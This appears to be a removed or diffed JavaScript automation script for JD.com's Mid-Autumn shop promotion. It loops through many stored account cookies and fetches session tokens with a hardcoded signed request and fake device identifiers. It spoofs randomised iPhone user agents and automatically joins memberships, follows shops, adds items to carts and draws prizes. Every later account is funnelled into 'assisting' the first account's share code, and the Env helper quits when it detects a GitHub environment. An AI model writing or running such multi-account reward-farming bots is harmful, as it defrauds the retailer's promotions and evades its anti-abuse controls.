'814e2d8458c7402ba088c0efe0e4274d' - $.activityId = 'dz2109100000119501' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length && true; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) break - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - lz_jdpin_token = '' - $.Token = '' - $.Pin = '' - await getCk() - if (activityCookie == '') { - console.log(`获取cookie失败`); return; - } - await getToken(); - if($.Token == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.nickname = ''; - await getMyPing() - if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await accessLogWithAD() - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - $.openCard = '' - await checkOpenCard(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - console.log(`加入会员:${$.allOpenCard}`) - if (!$.allOpenCard && $.openCard) { - for (let o of $.openCard && $.openCard || []) { - if(o.openStatus == false){ - await join(o.venderId) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await drawContent(); - await checkOpenCard() - } - } - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - await drawContent(); - await checkOpenCard(); - console.log(`加入会员:${$.allOpenCard}`) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - if($.opencardDraw) await draw("opencarddraw") - if($.opencardDraw) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getInitInfo(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - console.log(`关注店铺:${$.followShop}`) - if(!$.followShop) await saveTask('关注店铺', 23, 23); - if(!$.followShop) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - console.log(`签到:${$.signStatus}`) - if(!$.signStatus) await saveTask('签到', 0, 0); - if(!$.signStatus) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - console.log(`加购商品:${$.skuAddCart}`) - if(guaopencard_addSku+"" == "true"){ - if(!$.skuAddCart) await saveTask('加购商品', 21, 21); - if(!$.skuAddCart) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - }else console.log('如需加购请设置环境变量[guaopencard_addSku23]为"true"'); - let flag = 1 - for (let s of $.skuVisit && $.skuVisit || []) { - if(s.status !== true) { - if(flag == 1){ - console.log('开始浏览商品') - flag = 0 - } - await saveTask('浏览商品', 5, s.value); - await $.wait(parseInt(Math.random() * 1000 + 5000, 10)) - } - } - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getActorUuid() - console.log(`总积分:${$.score} 剩余积分:${$.score2} 游戏机会:${$.assistCount}`) - let gameFlag = 0 - if(guaopencard_draw+"" !== "0"){ - let count = parseInt($.score2/100, 10) - guaopencard_draw = parseInt(guaopencard_draw, 10) - if(count > guaopencard_draw) count = guaopencard_draw - console.log(`博饼次数为:${count}`) - for(j=1;count-- && true;j++){ - gameFlag = 1 - console.log(`第${j}次`) - await draw("draw") - await $.wait(parseInt(Math.random() * 1000 + 4000, 10)) - } - }else console.log('如需博饼请设置环境变量[guaopencard_draw23]为"3" 3为次数'); - if(gameFlag == 1){ - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getActorUuid() - } - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getDrawRecordHasCoupon() - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getShareRecord() - $.log($.actorUuid) - $.log("助力码:"+$.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - await $.wait(parseInt(Math.random() * 1000 + 5000, 10)) - }catch(e){ - console.log(e) - } -} - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl(`/dingzhi/taskact/common/getDrawRecordHasCoupon`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - let jsonName = { - "dayBeSharedBeans":"被邀请", - "dayShareBeans":"邀请", - "saveTaskBeans":"关注店铺/加购商品", - "opencardBeans":"开卡", - "17c51f823c03404a8dfd65e6c880489c":"抽奖", - "9d338d90ec394403b6a4f797c6c4ac32":"开卡抽奖", - "OneClickCoupon":"优惠券", - } - for(let i in res.data){ - let item = res.data[i] - if(item.drawId == 'dayShareBeans') num++; - if(item.drawId == 'dayShareBeans') value = item.infoName.replace('京豆',''); - if(item.drawId != 'dayShareBeans') console.log(`${(jsonName[item.drawId] || item.drawId) +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.actorUuid}` - $.post(taskPostUrl(`/dingzhi/taskact/common/getShareRecord`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.ShareCount = res.data.length - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function draw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - const options = taskPostUrl(`/dingzhi/midautumn/jointactivity/${type}`, body); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = res.data.wdsrvo && res.data.wdsrvo.drawInfoType == 6 && res.data.wdsrvo.name || '' - console.log(`抽奖获得:${msg || '空气💨'}`) - if(!msg) console.log(data) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getInitInfo() { - return new Promise(resolve => { - let body = `shareUuid=${$.shareUuid}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` - $.post(taskPostUrl(`/dingzhi/midautumn/jointactivity/getInitInfo`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.followShop = res.data.followShop - $.signStatus = res.data.signStatus - $.skuAddCart = res.data.skuAddCart - $.saveAddr = res.data.saveAddr - $.skuVisit = res.data.skuVisit - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`助力-${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function saveTask(title, taskType, taskValue) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&shareUuid=${$.shareUuid}&taskType=${taskType}&taskValue=${taskValue}` - $.post(taskPostUrl(`/dingzhi/midautumn/jointactivity/saveTask`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.beans){ - msg = ` ${res.data.beans}京豆` - } - if(res.data.score2){ - msg += ` 剩余:${res.data.score2}博饼值` - } - if(res.data.assistCount){ - msg += ` ${res.data.assistCount}次游戏机会` - } - console.log(`${title}获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${title} ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function drawContent() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/dingzhi/taskact/common/drawContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl(`/dingzhi/midautumn/jointactivity/initOpenCard`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res === 'object'){ - $.openCard = res.data.openInfo - $.allOpenCard = res.data.allOpenCard - $.opencardDraw = res.data.opencardDraw - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/midautumn/jointactivity/activityContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - if(typeof res.data.score2 != 'undefined') $.score2 = res.data.score2 - if(typeof res.data.score != 'undefined') $.score = res.data.score - if(typeof res.data.assistCount != 'undefined') $.assistCount = res.data.assistCount - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function accessLogWithAD() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` - $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` - $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('lz_jdpin_token=') > -1) lz_jdpin_token = name.replace(/ /g, '') + ';' - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin - if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getMyPing ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}` - $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_1316_53522&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167802&client=apple&clientVersion=10.1.2&d_brand=apple&d_model=iPhone7%2C2&eid=eidI13258122dbs3szjEQkIVRuicODq/DNSsBLM4xbeI7LNrNf8zvCtu948vnQHSeBaeMmtuHNvBma5F1VoqXfFMLqEtAszoFJXeC632wmimZO2HdLk3&isBackground=N&joycious=61&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=1eb906a32940752b5097959b87bf7790cf72dd05&osVersion=12.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=390fd486c133c1f6167a9fdf67b88332&st=1630899896264&sv=120&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJn3DpD9W0Sc8O1AyP3PVKrWW6OVbl3QAcvcqq77PIkTDFERHR3PVU80ckj17xEnzWPj8xSrDu/L0c50QtM/giYfKGRKypVjSgx5zXxwR9iMH9ZtGMPSZgeitb34Y%2BaB8OjZu4zJELK7wOhMOXFkniT24kshiqFXezgDpA54suWV0RDcpNgOWs3A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'Content-Type':'application/x-www-form-urlencoded', - 'Cookie': cookie, - 'Host':'api.m.jd.com', - 'User-Agent': `JD4iPhone/167802 (iPhone; iOS 12.4; Scale/2.00)`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.errcode == 0){ - if(typeof res.token != 'undefined') $.Token = res.token - }else if(typeof res == 'object' && res.message){ - console.log(`isvObfuscator ${res.message || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getCk() { - return new Promise(resolve => { - let get = { - url:`https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - followRedirect:false, - headers: { - // "Cookie": cookie, - "User-Agent": $.UA, - } - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${activityCookie}${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}${lz_jdpin_token}`, - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity/9367058?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 